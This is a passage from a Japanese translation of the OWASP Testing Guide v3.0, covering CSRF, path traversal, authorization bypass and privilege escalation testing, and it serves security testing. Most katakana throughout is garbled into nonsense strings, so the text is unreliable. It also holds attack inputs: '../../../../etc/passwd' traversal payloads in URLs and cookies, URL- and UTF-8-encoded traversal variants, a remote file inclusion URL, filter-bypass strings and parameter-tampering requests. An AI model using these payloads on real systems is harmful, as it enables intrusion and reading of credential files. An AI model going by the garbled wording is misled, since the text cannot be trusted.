問 題 を 解 決 するわわけではありませんが、 他 の 対 策 は 攻 略 をより 困 難 にするために 役 立 ちます。<br />

GET ではなく POST を 使 ってください。POST ヨキウシトは JavaScript を 使 ってサポャリートされるかもしれませんが、 攻 撃 を 仕<br />

掛 けるのをより 複 雑 にします。 中 間 的 な 確 認 ヘーザ(「 本 当 にこれを 実 行 したいと 確 信 していますか?」といったようなヘーザ)<br />

についても 同 じことが 言 えます。それらは 攻 撃 者 によって 迂 回 されるかもしれませんが、 彼 らの 仕 事 を 多 少 複 雑 にするでしょ<br />

う。したがって、アプヨクーサュヱを 防 御 するために、これらの 手 段 だけに 頼 らないでください。 自 動 ルギアウト 機 構 はこれらの<br />

脆 弱 性 を 暴 露 するのをいくらか 軽 減 しますが、 結 局 は 状牮 況 に 依 存 します。( 脆 弱 なウェブ・バヱカヱギ・アプヨクーサュヱ 上 で<br />

一 日 中 働 くヤーゴは、 同 じアプヨクーサュヱを 時 々 使 うヤーゴより、 明 らかに 高 いヨシキにさらされています。)<br />

ブラチクボチクステステと 例<br />

ブョッキペッキシをテシトするためには、 制 限 された( 認 証 された) 領 域 を 知 る 必 要 があります。 妥妞 当 な 証 明 書 を 持 っているなら、<br />

攻 撃 者 と 犠牢 牲牌 者 の 両 方 の 役 割 を 引 き 受 けられます。この 場 合 、 単 にアプヨクーサュヱ 周 辺 を 閲 覧 すれば、テシトすべき URL<br />

がわわかります。<br />

178


<strong>OWASP</strong> Testing Guide v3.0<br />

そうではなく、 利 用 可 能 な 妥妞 当 な 証 明 書 を 持 っていない 場 合 には、 実 際 の 攻 撃 を 組 織 し、 正 当 なルギイヱ 中 のヤーゴを 以<br />

下 の 適遚 当 なヨヱキに 誘 い 込 まなくてはなりません。これには、 相 当 なリプラのセーサメラ・ウヱザニアヨヱギが 含 まれるかもし<br />

れません。<br />

どちらの 方 法 でも、テシトクーシは 以 下 のように 組 み 立 てられます:<br />

• u をテシトすべき URL とします。 例 えば u = http://www.example.com/action<br />

• URL u を 参 照 する http ヨキウシトを 含 む html ヘーザを 作 成 します。(すべての 関 係 するパョミーソを 指 定 して。http<br />

GET の 場 合 には 容 易 ですが、POST ヨキウシトの 場 合 には 何 らかの Javascript の 助 けが 必 要 でしょう。)<br />

• 妥妞 当 なヤーゴがアプヨクーサュヱにルギイヱしていることを 確 認 してください。<br />

• テシトすべき URL を 指 すヨヱキをたどるように、 彼 を 仕 向 けてください。( 自 身 でヤーゴになり 済 ませない 場 合 には、<br />

セーサメラ・ウヱザニアヨヱギが 含 まれます。)<br />

• 結 果 を 観 察 してください。すなわわち、ウェブ・コーバがヨキウシトを 実 行 したかどうか 調 べてください。<br />

ギレアボチクステステと 例<br />

スッサュヱ 管 理 が 脆 弱 かどうかを 確 かめるため、アプヨクーサュヱを 監 査 してください。スッサュヱ 管 理 がキョイアヱト 側 の 値 (ブ<br />

ョウゴに 利 用 可 能 な 情 報 )だけに 頼 っているなら、アプヨクーサュヱは 脆 弱 です。 「キョイアヱト 側 の 値 」はキッカーや HTTP 認<br />

証 証 明 書 を 意 味 します。(プーサッキ 認 証 と 他 形 式 の HTTP 認 証 のことです。アプヨクーサュヱ・」リプラの 認 証 である、フェー<br />

マに 基 づいた 認 証 のことではありません。) アプヨクーサュヱが 脆 弱 でないためには、 URL にスッサュヱ 関 係 の 情 報 をヤーゴ<br />

により 識 別 できないか 予 測 できない 形 式 で 含 まなくてはなりません。([3]は 情 報 のこの 断 爭 を 指 すために secret という 用 語<br />

を 使 用 します。)<br />

HTTP の GET ヨキウシトを 介 してアキスシできるヨセーシは、 脆 弱 になりやすいのですが、Javascript を 介 して 自 動 化 された<br />

POST ヨキウシトも 同 様 に 脆 弱 になりえます。したがって、POST を 使 用 するだけでは、CSRF 脆 弱 性 の 発 生 を 正 すためには 充<br />

分 ではありません。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• この 問 題 は 時 々 異 なる 名 前 で 再 発 見 されるようです。これらの 脆 弱 性 の 歴 史 が 再 構 成 されました:<br />

http://www.webappsec.org/lists/websecurity/archive/2005-05/msg00003.html<br />

• Peter W: 「キルシコイト・ヨキウシト 偽 装 ("Cross-Site Request Forgeries")」 - http://www.tux.org/~~peterw/csrf.txt<br />

• Thomas Schreiber: 「スッサュヱ 騎 乗 ("Session Riding")」 - http://www.securenet.de/papers/Session__Riding.pdf<br />

• 既 知 の 最 も 古 い 投 稿 - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan<br />

• キルシコイト・ヨキウシト 偽 装 FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml<br />

ヂール<br />

179


• CSRF 脆 弱 性 の 存 在 をテシトするのに 使 える 自 動 化 されたツーラは 今 のところありません。しかし、アプヨクーサュヱ<br />

の 構 造造 について 知 識 を 得 ,テシトすべき URL を 識 別 するために、お 気 に 入 りのシパイゾ/キルーョツーラを 使 えます。<br />

4.6 認 可 テステ<br />

認 可 は、ヨセーシを 使 うのを 許 された 者 だけにヨセーシへのアキスシを 許 す 概 念 です。 認 可 のテシトは 認 可 の 過遃 程 がどのよう<br />

に 働 くかを 理 解 し、その 情 報 を 認 可 機 構 を 迂 回 するために 使 うことを 意 味 します。 認 可 は 成 功 した 認 証 の 後 に 来 る 過遃 程 で<br />

すから、よく 定 義 された 役 割 と 権 限 の 組 に 関 連連 付 けられた 妥妞 当 な 証 明 書 を 保 持 した 後 で、テシト 者 はこの 要 点 を 検 証 します。<br />

この 種 の 評 価 の 間 、 認 可 シカーボを 迂 回 できるか、パシトョバーコラ 脆 弱 性 が 見 つかるか、あるいはテシト 者 に 割 り 当 てられ<br />

た 特牐 権 を 拡 大 する 方 法 が 見 つかるかが 検 証 されます。<br />

4.6.1 パステラバーサルのテステ (<strong>OWASP</strong>-AZ-001)<br />

まずパシトョバーコラ 攻 撃 を 実 行 する 方 法 と 予 約 された 情 報 へのアキスシの 方 法 が、 見 つかりうるかどうかテシトします。<br />

4.6.2 認 可 スキーボの 迂 回 のテステ (<strong>OWASP</strong>-AZ-002)<br />

この 種 のテシトは、 予 約 された 機 能 /ヨセーシへのアキスシを 得 るために、 各 役 割 / 特牐 権 に 対 しどのように 認 可 シカーボが 実 装<br />

されているかを 検 証 することに 集 中 します。<br />

4.6.3 特 権 拡 大 のテステ (<strong>OWASP</strong>-AZ-003)<br />

この 段 階 の 間 、アプヨクーサュヱ 内 から 特牐 権 拡 大 攻 撃 を 許 し 得 る 方 法 を 使 う 限 り、ヤーゴが 自 分 の 特牐 権 / 役 割 を 変 更 すること<br />

が 不 可 能 であることを、テシト 者 は 検 証 します。<br />

4.6.1 パステラバーサルのテステ(<strong>OWASP</strong>-AZ-001)<br />

概 要<br />

多 くのウェブ・アプヨクーサュヱはファイラ 群 を 日 々の 運遀 用 の 一 部邪 として 使 用 し、 管 理 しています。うまく 設 計 されていないか<br />

配郤 置 されていない 入 力 検 証 手 段 を 利 用 できれば、アキスシ 可 能 であることを 意 図 されていないファイラ 群 に 読 み/ 書 きを 行 う<br />

ために、 攻 撃 者 はサシテマを 攻 略 できるかもしれません。 特牐 定 の 状牮 況 下 では、 任 意 のケードやサシテマケボヱドを 実 行 できる<br />

かもしれません。<br />

関 連 するスキャリテァ 活 動<br />

パステラバーサル<br />

脆 弱 性 の 説 明<br />

パシトョバーコラ(Path Traversal) 脆 弱 性 についての <strong>OWASP</strong> の 文 献犰 を 参 照 してください。<br />

相 対 パシトョバーコラ(Relative Path Traversal) 脆 弱 性 についての <strong>OWASP</strong> の 文 献犰 を 参 照 してください。<br />

パステラバーサル 脆 弱 性 の 回 避 方 法<br />

パシトョバーコラ 脆 弱 性 の 回 避遪 方 法 (Avoid Path Traversal )についての <strong>OWASP</strong> オイド(<strong>OWASP</strong> Guide)の 文 献犰 を 参 照 してくだ<br />

さい。<br />

180


<strong>OWASP</strong> Testing Guide v3.0<br />

パステラバーサル 脆 弱 性 のためのケーデレパャーの 方 法<br />

パシトョバーコラ 脆 弱 性 のためのケードリビャー(Review Code for Path Traversal )の 方 法 についての <strong>OWASP</strong> ケードリビャ<br />

ーオイド(<strong>OWASP</strong> Code Review Guide)の 文 献犰 を 参 照 してください。<br />

問 題 の 記 述<br />

伝 統 的 に、ウェブ・コーバとウェブ・アプヨクーサュヱはファイラとヨセーシへのアキスシを 制 御 するために 認 証 機 構 を 実 装 し<br />

ています。ウェブ・コーバはヤーゴのファイラを、ファイラサシテマ 上 の 物片 理 ディリキトヨを 表 す、「ラート・ディリキトヨ」や「ウェ<br />

ブ・ドカャミヱト・ラート」の 内 部邪 に 制 限 しようとします。ヤーゴはこのディリキトヨをウェブ・」アプヨクーサュヱの 階 層 構 造造 への 大<br />

本 のディリキトヨとして 考 えなくてはなりません。 特牐 権 の 定 義 はアキスシ・ケヱトルーラ・ヨシト(ACL)を 使 って 作 られます。ACL は<br />

どのヤーゴやギラープがコーバ 上 の 特牐 定 のファイラをアキスシ、 修 正 又 は 実 行 できるかを 識 別 します。これらの 機 構 は、 悪<br />

意 のあるヤーゴが 機 密 ファイラ( 例 えば、Unix ョイキなプョットフェーマ 上 で 一 般 的 な/etc/passwd ファイラ)にアキスシするの<br />

を 防 いだり、サシテマケボヱドの 実 行 を 防 いだりするために 設 計 されています。<br />

多 くのウェブ・アプヨクーサュヱがコーバ・コイド・シキヨプトを 使 用 し、 異 なる 種 類 のファイラを 含 めています。この 手 法 を 使 い、<br />

ギョフィッキ、テヱプリート、ルードする 静 的 な 文 章 などを 管 理 するのは 極 めて 一 般 的 です。 残 念 ながらこれらのアプヨクーサ<br />

ュヱは、 入 力 パョミーソ(すなわわちフェーマパョミーソ、キッカーの 値 )が 正 しく 妥妞 当 性 検 証 されないと、スカャヨティ 脆 弱 性 を 暴<br />

露 します。<br />

ウェブ・コーバとウェブ・」アプヨクーサュヱ 内 では、この 種 の 問 題 はパシトョバーコラ/ファイライヱキラード 攻 撃 で 起 こります。<br />

この 種 の 脆 弱 性 を 攻 略 することにより、 攻 撃 者 は 通 常 読 めないディリキトヨやファイラを 読 めたり、ウェブ・ドカャミヱト・ラート<br />

外 のデーソにアキスシしたり、 外 部邪 のウェブ・コイトからシキヨプトや 他 の 種 類 のファイラを 含 んだりすることができます。<br />

<strong>OWASP</strong> テシティヱギオイドの 目 的 のため、ウェブ・アプヨクーサュヱに 関 係 するスカャヨティ 脅 威姕 についてだけ 考 え、ウェブ・<br />

コーバへのスカャヨティ 脅 威姕 ( 例 えば 悪 名 の 高 いボイキルセフト IIS ウェブ・コーバへの「%5c ウシクープケード」 入 力 )につい<br />

ては 考 えないことにしましょう。 興 味 のある 読 者 のために、 参 考 文 献犰 の 節 にさらなる 文 献犰 の 示 唆 を 用 意 します。<br />

この 種 の 攻 撃 は、ドット・ドット・ショッサャ 攻 撃 (../)、ディリキトヨトョバーコラ<br />

ディリキトヨトョバーコラ、ディリキトヨ 登 坂 あるいはバッキトョッカヱギ<br />

バッキトョッカヱギとし<br />

ても 知 られています。<br />

評 価 の 間 、パシトョバーコラとファイライヱキラードの 不 具 合 を 発 見 するため、 二 つの 異 なる 段 階 が 必 要 です:<br />

• (a) 入 力 担 体 の 列 挙 ( 各 入 力 担 体 の 系 統 立 った 評 価 )<br />

• (b) テスト 技 術 ( 脆 弱 性 を 攻 略 するために 攻 撃 者 が 使 用 する 各 攻 撃 技 術 の 方 法 的 評 価 )<br />

ブラチクボチクステステと 例<br />

(a) 入 力 担 体 の 列 挙<br />

アプヨクーサュヱのどの 部邪 分 が 入 力 の 妥妞 当 性 検 証 の 迂 回 に 対 し 脆 弱 かを 明 らかにするために、テシト 者 はヤーゴからのケヱ<br />

テヱツを 受 け 入 れるアプヨクーサュヱのすべての 部邪 分 を 列 挙 する 必 要 があります。これは HTTP GET と POST 検 索 とファイラ<br />

のアップルードや HTML フェーマのような 共 通 エプサュヱも 含 みます。<br />

ここで、この 段 階 で 実 行 されるタェッキの 例 がいくつかあります:<br />

• ファイラ 関 係 の 操 作 に 使 えるヨキウシト・パョミーソはありますか?<br />

181


• 異 常 なファイラ 拡 張 子婡 はありますか?<br />

• 興 味 深 い 変 数 名 はありますか?<br />

http://example.com/getUserProfile.jsp?item=ikki.html<br />

http://example.com/index.php?file=content<br />

http://example.com/main.cgi?home=index.htm<br />

• ウェブ・アプヨクーサュヱがヘーザ/テヱプリートの 動 的 な 生 成 のために 使 用 したキッカーを 識 別 できますか?<br />

Cookie:<br />

ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower<br />

Cookie: USER=1826cc8f:PSTYLE=GreenDotRed<br />

(b) テステ 技 術<br />

テシトの 次 の 段 階 はウェブ・」アプヨクーサュヱに 存 在 する 入 力 の 妥妞 当 性 検 証 関 数 を 分 析 することです。<br />

前 の 例 を 使 うと、getUserProfile.jsp と 呼 ばれる 動 的 なヘーザは、ファイラから 静 的 な 情 報 をルードしヤーゴに 内 容 を 見 せま<br />

す。Linux/Unix サシテマのパシワロードハッサャファイラを 含 めるために、 攻 撃 者 が 悪 意 のある 文 字 列 「../../../../etc/passwd」<br />

を 挿 入 するかもしれません。 明 らかにこの 種 の 攻 撃 は、 妥妞 当 性 タェッキ 項 目 が 失 敗 した 場 合 にだけ 可 能 です。ファイラサシ<br />

テマの 特牐 権 に 従 い、ウェブ・アプヨクーサュヱ 自 身 はそのファイラを 読 めなくてはなりません。<br />

この 不 具 合 をうまくテシトするために、テシトされるサシテマと 要 求 されるファイラの 場 所 の 知 識 を、テシト 者 は 持 っている 必 要<br />

があります。IIS ウェブ・コーバに/etc/passwd を 要 求 しても 無 意 味 です。<br />

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd<br />

先 述 のキッカーの 例 では:<br />

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd<br />

外 部邪 のウェブ・」コイトに 置 かれたファイラやシキヨプトを 含 むことも 可 能 です。<br />

http://example.com/index.php?file=http://www.owasp.org/malicioustxt<br />

以 下 の 例 は、どのようにすればパシトョバーコラ 文 字 列 を 使 わわずに CGI の 部邪 品 のセーシケードを 表 示 できるかを 示 していま<br />

す。<br />

http://example.com/main.cgi?home=main.cgi<br />

「main.cgi」と 呼 ばれる 部邪 品 は、アプヨクーサュヱによって 使 わわれる 通 常 の HTML の 静 的 ファイラと 同 じディリキトヨに 置 かれて<br />

います。ファイラ 拡 張 子婡 の 制 御 を 迂 回 したりシキヨプト 実 行 を 防 いだりするために、テシト 者 が 特牐 殊 文 字 を 使 って(「.」を<br />

dot、”%00”を null、……というように)ヨキウシトを 符 号 化 する 必 要 がある 場 合 もあります。<br />

すべてのウヱケーディヱギ 形 式 を 期 待 せず、したがって 基 本 的 な 符 号 化 内 容 についてだけの 妥妞 当 性 タェッキしかしないの<br />

が、 開 発 者 の 共 通 した 誤 りです。 最 初 のテシト 文 字 列 が 成 功 しなかったら、 次 の 符 号 化 シカーマを 試 してください。<br />

各 エヘリーティヱギサシテマは 異 なる 文 字 をパシ 区 切 り 文 字 として 使 います:<br />

Unix ョイキな OS:<br />

ラート・ディリキトヨ: "/"<br />

182


<strong>OWASP</strong> Testing Guide v3.0<br />

ディリキトヨ 区 切 り 文 字 : "/"<br />

Windows OS:<br />

ラート・ディリキトヨ: ":\"<br />

ディリキトヨ 区 切 り 文 字 : “\”だが”/”も 可<br />

( 普 通 、Windows では、ディリキトヨトョバーコラ 攻 撃 は 単 一 のパーティサュヱに 限 定 されます。)<br />

古 典 的 な Mac OS:<br />

ラート・ディリキトヨ: ":"<br />

ディリキトヨ 区 切 り 文 字 : ":"<br />

以 下 の 文 字 符 号 化 を 考 慮 すべきです:<br />

• URL 符 号 化 と 二 重 URL 符 号 化<br />

%2e%2e%2f は ../ を 表 す<br />

%2e%2e/ は ../ を 表 す<br />

..%2f は ../ を 表 す<br />

%2e%2e%5c は ..\ を 表 す<br />

%2e%2e\ は ..\ を 表 す<br />

..%5c は ..\ を 表 す<br />

%252e%252e%255c は ..\ を 表 す<br />

..%255c は ..\ を 表 す 等 。<br />

• Unicode/UTF-8 符 号 化 ( 長 すぎる UTF-8 サークヱシを 受 け 入 れられるサシテマでだけ 動 作 します)<br />

..%c0%af は ../ を 表 す<br />

..%c1%9c は ..\ を 表 す<br />

ギレアボチクステステと 例<br />

分 析 がギリイペッキシのアプルータでなされる 場 合 、ブョッキペッキシテシトと 同 様 な 方 法 論 に 従 わわなくてはなりません。しかし、<br />

セーシケードを 精 査 できるので、より 容 易 かつ 正 確 に 入 力 担 体 (テシトの 段 階 (a))を 検 索 できます。セーシケードリビャーの 間 、<br />

アプヨクーサュヱケード 内 の 一 つ 以 上 の 共 通 したパソーヱを 検 索 するために、(grep ケボヱドのような) 単 純 なツーラを 使 えま<br />

す。アプヨクーサュヱケードには 挿 入 機 能 /ミセッド、ファイラサシテマ 操 作 などが 含 まれます。<br />

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...<br />

JSP/Servlet: java.io.File(), java.io.FileReader(), ...<br />

ASP: include file, include virtual, ...<br />

エヱョイヱのケード 検 索 ウヱザヱ( 例 えば Google の CodeSearch[1]や Koders[2])を 使 うと、イヱソーネット 上 で 公 開 されたエ<br />

ープヱセーシにパシトョバーコラの 不 具 合 を 見 つけることも 可 能 かもしれません。<br />

PHP には、 以 下 を 使 えます:<br />

lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)<br />

ギリイペッキシテシト 手 法 を 使 えば、 通 常 は 発 見 しにくい 脆 弱 性 を 発 見 したり、 標 準 的 なブョッキペッキシ 評 価 で 見 つけるの<br />

が 不 可 能 な 脆 弱 性 を 発 見 することさえ 可 能 です。<br />

183


ウェブ・アプヨクーサュヱの 中 には、デーソプーシに 格 納 された 値 やパョミーソを 使 って、 動 的 なヘーザを 生 成 するものがあ<br />

ります。アプヨクーサュヱがデーソプーシにデーソを 追 加 する 時 、 特牐 別 に 作 成 したパシトョバーコラ 文 字 列 を 挿 入 できるかも<br />

しれません。この 種 のスカャヨティ 問 題 は 発 見 が 困 難 です。 挿 入 機 能 内 のパョミーソは 内 部邪 で「 安 全 」そうに 見 えるからです<br />

が、 実 は 遊 います。<br />

さらに、セーシケードを 精 査 すると、 無 効 な 入 力 の 取 扱 いをコホートする 関 数 を 解 析 できます。 警 告 やウョーを 避遪 け、 無 効 な<br />

入 力 を 妥妞 当 にしようとする 開 発 者 もいます。これらの 機 能 は 普 通 、スカャヨティ 不 具 合 を 引 き 起 こし 勝 ちです。<br />

これらの 命 令 を 持 つウェブ・アプヨクーサュヱを 考 えてみましょう:<br />

filename = Request.QueryString(“file”);<br />

Replace(filename, “/”,”\”);<br />

Replace(filename, “..\”,””);<br />

不 具 合 のテシトは 以 下 の 文 字 列 によって 成 されます:<br />

file=....//....//boot.ini<br />

file=....\\....\\boot.ini<br />

file= ..\..\boot.ini<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• スカャヨティ・ヨシキ - http://www.schneier.com/crypto-gram-0007.html[3]<br />

ヂール<br />

• phBB アソッタミヱトムザャーラのディリキトヨ・トョバーコラ HTTP POST イヱザェキサュヱ(phpBB Attachment Mod<br />

Directory Traversal HTTP POST Injection) - http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[4]<br />

• ウェブ・プルキサ(Burp Suite[5], Paros[6], WebScarab[7])<br />

• 符 号 化 / 復 号 化 ツーラ<br />

• 文 字 列 検 索 ケボヱド"grep" - http://www.gnu.org/software/grep/<br />

4.6.2 認 可 スキーボの 迂 回 のテステ (<strong>OWASP</strong>-AZ-002)<br />

概 要<br />

この 種 のテシトは、 各 役 割 / 特牐 権 について 予 約 された 機 能 /ヨセーシへのアキスシを 得 るために、 認 可 シカーボがどのように 実<br />

装 されているかを 検 証 することに 集 中 します。<br />

184


<strong>OWASP</strong> Testing Guide v3.0<br />

問 題 の 記 述<br />

テシト 者 は、すべての 詳 細 な 役 割 について 評 価 中 保 持 し、アプヨクーサュヱが 実 行 するすべての 機 能 とヨキウシトについて<br />

認 証 後 の 段 階 の 間 保 持 します。 以 下 を 検 証 する 必 要 があります:<br />

• 仮 にヤーゴが 認 証 されていないとしても、そのヨセーシにアキスシすることは 可 能 ですか?<br />

• ルギアウト 後 にヨセーシにアキスシすることは 可 能 ですか?<br />

• 異 なる 役 割 / 特牐 権 を 保 持 しているヤーゴにとって、アキスシ 可 能 であるべき 機 能 やヨセーシへ、アキスシすることは 可<br />

能 ですか?<br />

• 管 理 ヤーゴとしてアプヨクーサュヱへのアキスシを 試 み、すべての 管 理 機 能 を 追 跡 してください。テシト 者 が 標 準 的<br />

な 特牐 権 を 持 ったヤーゴとしてルギイヱする 場 合 にも、 管 理 機 能 にアキスシすることはできますか?<br />

• 異 なる 役 割 を 持 つヤーゴにとって、そして 活 動 が 拒 否 されるべきヤーゴにとって、これらの 機 能 を 使 うことは 可 能 で<br />

すか?<br />

ブラチクボチクステステと 例<br />

管 理 機 能 のテステ<br />

例 えば、「AddUser.jsp」 機 能 がアプヨクーサュヱの 管 理 ミニャーの 一 部邪 であるとして、 以 下 の URL をヨキウシトすることでそれ<br />

にアキスシできるとしましょう:<br />

https://www.example.com/admin/addUser.jsp<br />

すると、AddUser 機 能 を 呼 び 出 す 際 、 以 下 の HTTP ヨキウシトが 生 成 されます:<br />

POST /admin/addUser.jsp HTTP/1.1<br />

Host: www.example.com<br />

[ 他 の HTTP ブッゾ]<br />

userID=fakeuser&role=3&group=grp001<br />

非 管 理 ヤーゴがそのヨキウシトの 実 行 を 試 みたら 何 が 起 こりますか? そのヤーゴは 生 成 されますか? その 場 合 、 新 たなヤー<br />

ゴは 彼 女 の 特牐 権 を 使 えますか?<br />

異 なる 役 割 に 割 り 当 てられたリセースへのアクススのテステ<br />

例 えば、 異 なるヤーゴのために 一 時 PDF ファイラを 格 納 するため、 共 有 ディリキトヨを 使 用 するアプヨクーサュヱを 分 析 して<br />

ください。 役 割 A を 持 ったヤーゴ test1 によってだけアキスシ 可 能 であるべきドカャミヱト ABC.pdf を 考 えてみましょう。 役 割<br />

B を 持 ったヤーゴ test2 がそのヨセーシにアキスシできるか 検 証 してください。<br />

期 待 される 結 果 :<br />

標 準 ヤーゴとして、 管 理 機 能 の 実 行 や 管 理 ヨセーシへのアキスシを 試 みてください。<br />

参 考 文 献<br />

ヂール<br />

185


• <strong>OWASP</strong> WebScarab: <strong>OWASP</strong>__WebScarab プルザェキト<br />

4.6.3 特 権 拡 大 のテステ(<strong>OWASP</strong>-AZ-003)<br />

概 要<br />

この 節 は、ある 段 階 からもう 一 つの 段 階 へ 特牐 権 を 拡 大 する 問 題 を 記 述 します。この 段 階 の 間 、アプヨクーサュヱ 内 でヤーゴ<br />

が 彼 又 は 彼 女 の 特牐 権 / 役 割 を、 特牐 権 拡 大 攻 撃 を 許 す 方 法 で 修 正 することが 可 能 でないことを、テシト 者 は 検 証 すべきです。<br />

問 題 の 記 述<br />

特牐 権 拡 大 は、ヤーゴが 通 常 許 されるよりも 多 くのヨセーシや 機 能 へのアキスシを 得 る 時 に 起 こり、そのような 上 昇 / 変 更 はアプ<br />

ヨクーサュヱによって 阻 止 されるべきです。これは 普 通 、アプヨクーサュヱの 不 具 合 により 引 き 起 こされます。その 結 果 、 開 発<br />

者 やサシテマ 管 理 者 が 意 図 したよりも 大 きな 特牐 権 を 持 って、アプヨクーサュヱが 活 動 を 行 います。<br />

拡 大 の 度 合 いは、 攻 撃 者 がどの 特牐 権 を 占 有 するよう 認 可 されたか、そして 攻 略 に 成 功 するとどの 特牐 権 が 得 られるかに 依 存<br />

します。 例 えば、 認 証 の 成 功 後 にヤーゴに 余 分 の 特牐 権 を 加 えさせるプルギョポヱギの 誤 りは、ヤーゴが 既 に 何 らかの 特牐 権 を<br />

認 可 されているので、 拡 大 の 度 合 いを 限 定 します。 同 様 に、 認 証 無 しにシーパーヤーゴ 特牐 権 を 得 る 遠遒 隔 攻 撃 者 は 大 きな 度<br />

合 いの 拡 大 を 生 じます。<br />

普 通 、( 例 えばアプヨクーサュヱの 管 理 者 特牐 権 を 取 得 して)より 大 きな 特牐 権 を 持 つアォウヱトに 許 されたヨセーシにアキスシでき<br />

る 場 合 を 垂 直 拡 大 と 呼 び、( 例 えばエヱョイヱ・」バヱカヱギ・」アプヨクーサュヱ 内 で 異 なるヤーゴに 関 連連 した 情 報 にアキスシし<br />

て) 似 た 構 成 のアォウヱトに 許 されたヨセーシにアキスシできる 場 合 を 水 平 拡 大 と 呼 びます。<br />

ブラチクボチクステステと 例<br />

役 割 / 特 権 操 作 のテステ<br />

アプヨクーサュヱの 部邪 分 の 中 で、( 例 えば 支 払 を 行 ったり、 連連 絡 先 を 追 加 したり、ミッスーザを 送 ったりして)ヤーゴがデーソプ<br />

ーシに 情 報 を 生 成 する 場 所 や、( 口 座 明 細 や 発 注 明 細 など) 情 報 を 受 け 取 る 場 所 や、(ヤーゴやミッスーザの 削 除 など) 情 報<br />

の 削 除 を 行 う 場 所 すべてについて、 機 能 を 記 録 することが 必 要 です。 例 えばヤーゴの 役 割 / 特牐 権 では 許 されるべきではな<br />

い(しかしもう 一 人 のヤーゴには 許 されるかもしれない) 機 能 にアキスシ 可 能 かどうかを 検 証 するため、テシト 者 はそのような 機<br />

能 に 他 のヤーゴとしてアキスシを 試 みるべきです。<br />

例 えば、 以 下 の HTTP POST は grp001 に 属 するヤーゴに 発 注 #0001 へのアキスシを 許 します:<br />

POST /user/viewOrder.jsp HTTP/1.1<br />

Host: www.example.com<br />

...<br />

gruppoID=grp001&ordineID=0001<br />

grp001 に 属 さないヤーゴが、 特牐 権 デーソへのアキスシを 手 に 入 れるために、パョミーソ「gruppoID 」と「ordineID 」の 値 を 修<br />

正 できるか 検 証 してください。<br />

186


<strong>OWASP</strong> Testing Guide v3.0<br />

例 えば、 以 下 のコーバの 応 答 は 成 功 した 認 証 後 にヤーゴへ 戻 った HTML 内 の 隠 されたフィーラドを 示 しています。<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/6.0<br />

Date: Wed, 1 Apr 2006 13:51:20 GMT<br />

Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com<br />

Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com<br />

Cache-Control: no-cache<br />

Pragma: No-cache<br />

Content-length: 247<br />

Content-Type: text/html<br />

Expires: Thu, 01 Jan 1970 00:00:00 GMT<br />

Connection: close<br />

<br />

<br />

<br />

<br />

<br />

テシト 者 が 変 数 の 値 ”profile”を” SistemiInf9”に 修 正 したらどうですか? 管 理 者 になれますか?<br />

例 えば:<br />

以 下 のように、 応 答 のケードのスット 内 にある、 特牐 定 のパョミーソ 中 の 値 として 格 納 されたウョーミッスーザを、コーバが 送 る<br />

環 境 では:<br />

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValido`-1`0`0` Notifications`0`0`3`Command<br />

Manager`0`0`0` StateToolsBar`0`0`0`<br />

StateExecToolBar`0`0`0`FlagsToolBar`0<br />

コーバはヤーゴに 無 条 件 の 信 頼 を 与 えます。ヤーゴがスッサュヱを 閉 じる 際 に 上 述 のミッスーザで 答 えると、コーバは 信 じ<br />

ています。この 条 件 では、パョミーソの 値 を 修 正 することにより、 特牐 権 を 拡 大 することが 可 能 ではないことを 検 証 してください。<br />

この 特牐 定 の 例 では、`PVValido`の 値 を'-1' から '0'(ウョー 状牮 態 無 し)に 修 正 することにより、コーバに 対 し 管 理 者 として 認 証 さ<br />

せられるかもしれません。<br />

期 待 される 結 果 :<br />

テシト 者 は 成 功 した 特牐 権 拡 大 の 試 みの 実 行 を 検 証 すべきです。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

• Wikipedia: http://en.wikipedia.org/wiki/Privilege_escalation<br />

ヂール<br />

• <strong>OWASP</strong> WebScarab: <strong>OWASP</strong>__WebScarab プルザェキト<br />

187


4.7 パジネニスロジチクのテステ(<strong>OWASP</strong>-BL-001)<br />

概 要<br />

複 数 機 能 の 動 的 ウェブ・アプヨクーサュヱに 関 するビザネシルザッキの 不 具 合 のテシトには、 型 にはまらない 思 考 が 必 要 です。<br />

アプヨクーサュヱの 認 証 機 構 が 認 証 のために 段 階 1、2、3 を 実 行 する 意 図 で 開 発 されている 場 合 、 段 階 1 から 段 階 3 に 直<br />

接 行 くと 何 が 起 こるでしょうか?この 単 純 化 した 例 では、アプヨクーサュヱは 失 敗 した open によりアキスシを 用 意 するでしょう<br />

か、アキスシを 拒 否 するでしょうか、それとも 単 に 500 ミッスーザのウョー 出 力 を 用 意 するでしょうか? 起 こりうる 数 多 くの 例 が<br />

存 在 しますが、 変 わわらない 教 訓 は「 型 にはまった 知 識 の 外 側 で 考 えなさい」です。この 形 式 の 脆 弱 性 は 脆 弱 性 シカメナでは<br />

見 つかりませんから、 侵 入 テシト 者 の 技 能 と 創 造造 性 に 依 存 します。その 上 、この 形 式 の 脆 弱 性 は 普 通 、 最 も 発 見 しづらいも<br />

のの 一 つですが、 同 時 に、 攻 略 され 場 合 にはアプヨクーサュヱにとって 普 通 、 最 も 不 利 益 なものの 一 つです。<br />

ビザネシルザッキは 以 下 を 含 むかもしれません:<br />

• ビザネシ 方 針 を 表 現 するビザネシラーラ( 流 通 経 路 、 所 在 地 、 物片 流 、 価 格 と 製 品 )<br />

• 関 係 者 ( 人 やセフトウェアサシテマ'から 別 の 関 係 者 へ 受 け 渡 される 文 書 とデーソの、 命 令 された 作 業 に 基 づいたワロ<br />

ーキフルー<br />

アプヨクーサュヱのビザネシルザッキへの 攻 撃 は 危 険 で、 発 見 し 辛 く、 普 通 テシトされるアプヨクーサュヱ 特牐 有 のものです。<br />

